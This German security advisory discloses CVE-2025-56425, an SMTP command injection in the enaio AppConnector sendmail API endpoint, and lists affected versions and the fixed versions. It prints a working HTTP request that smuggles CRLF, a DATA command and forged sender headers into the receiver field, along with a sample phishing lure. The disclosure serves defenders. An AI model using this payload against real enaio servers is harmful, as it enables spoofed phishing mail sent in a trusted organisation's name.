Übersicht
Betroffenes Produkt: enaio® component AppConnector – Version 10.10.0.183 und früher von enaio® 10.10, Version 11.0.0.183 und früher von enaio® 11.0, Version 11.10.0.183 und früher von enaio® 11.10
CVSS-Bewertung (v3.1): 7.7 (Hoch)
Zugewiesene CVE: CVE-2025-56425
Empfehlung: Update zu Version 10.10.0.184, 11.0.0.184 bzw. 11.10.0.184 oder höher
Credit: Simon Holl von der MindBytes GmbH
CVSS-Bewertung (v3.1): 7.7 (Hoch)
Zugewiesene CVE: CVE-2025-56425
Empfehlung: Update zu Version 10.10.0.184, 11.0.0.184 bzw. 11.10.0.184 oder höher
Credit: Simon Holl von der MindBytes GmbH
Der Webserver validiert die Benutzereingaben vor dem Versenden von E-Mails nicht richtig. Angreifer können das nutzen, um die Kommunikation zwischen Webserver und Mailserver zu manipulieren und zusätzliche SMTP-Befehle einzuschleusen.
Denkbare Angriffsszenarien sind beispielsweise das Manipulieren des E-Mail-Absenders und des E-Mail-Inhalts. Phishing-Angriffe sind glaubhafter.
Technische Details
Der API-Endpunkt /osrest/api/organization/sendmail erlaubt das Versenden einer E-Mail. Dabei kann der eingeloggte Benutzer verschiedene Parameter selbst bestimmen. Der Webserver filtert die Benutzereingaben vor der Kommunikation mit dem Mailserver nicht richtig. So lassen sich zusätzliche SMTP-Befehle einschleusen.
Nachfolgend ist die HTTP-Anfrage zu sehen, durch die eine gefälschte E-Mail über den API-Endpunkt gesendet wird. Dabei kann der Absender, Empfänger und Inhalt beliebige selbst bestimmt werden.
POST /osrest/api/organization/sendmail HTTP/1.1
Host: enaio.int.example.com
Content-Type: application/json
Content-Length: XXX
{
"receiver": "receiver@int.example.com;receiver@ext.example.com>\r\nDATA\r\nFrom: \"Admin\" <admin@int.example.com>\r\nTo:<receiver@ext.example.com>\r\nSubject:Pentest\r\nContent-Type: text/html\r\n<html><style>\r\n",
"subject": "Pentest",
"text": "</style></style></style><body>Hallo!<br><br>Dein Account wurde aus Sicherheitsgruenden automatisch gesperrt! Bitte nutze den folgenden Link, um deinen Account zu aktivieren und ein neues Passwort zu vergeben: <a href='https://enaio.mind-bytes.de'>enaio.mind-bytes.de</a>.<br><br><b>Viele Gruesse</b><br>enaio Team</body></html>"
}
Der Webserver verarbeitet die HTTP-Anfrage wie folgt:
- Das Attribut receiver bestimmt sowohl den Absender als auch den Empfänger.
- Die erste E-Mail-Adresse receiver@int.example.com ist sowohl der Absender als auch der Empfänger.
- Die weitere, durch Semikolon getrennte E-Mail-Adresse receiver@ext.example.com und die nachfolgenden Zeichen sind der Empfänger. Die Zeichen werden ungefiltert in der SMTP-Kommunikation genutzt.
- Die eingefügten Zeichen und insbesondere die Zeilenumbrüche (\r\n) haben im SMTP-Protokoll eine besondere Bedeutung:
- DATA signalisiert die Eingabe der eigentlichen Nachricht
- From,To und Subject legen fest, welcher Absender, Empfänger und Betreff im E-Mail-Client angezeigt werden sollen. Das SMTP-Protokoll erzwingt an dieser Stelle nicht die gleichen E-Mail-Adressen wie die zuvor (Punkt 2 und 3) angegebenen Adressen.
- Über Conten-Type wird angegeben, dass die E-Mail HTML-Inhalt haben soll.
- Mit <html><style> beginnt der HTML-Inhalt und insbesondere ein style-Tag, wodurch die nächsten vom Server gesendeten Zeichen in der E-Mail selbst als (ungültige) Style-Definition interpretiert und dadurch unsichtbar werden.
- Das Attibut text definiert den eigentlichen Inhalt der E-Mail. Da das receiver-Attribut in der SMTP-Kommunikation wiederholt genutzt wird, muss das style-Tag im E-Mail-Inhalt mehrfach geschlossen werden. Erst danach kann dann der sichtbare HTML-Inhalt definiert werden.
Die nachfolgende Abbildung zeigt die empfangene E-Mail nachdem wir die obige HTTP-Anfrage mit den Sitzungsinformationen eines eingeliggten Benutzers gesendet haben.
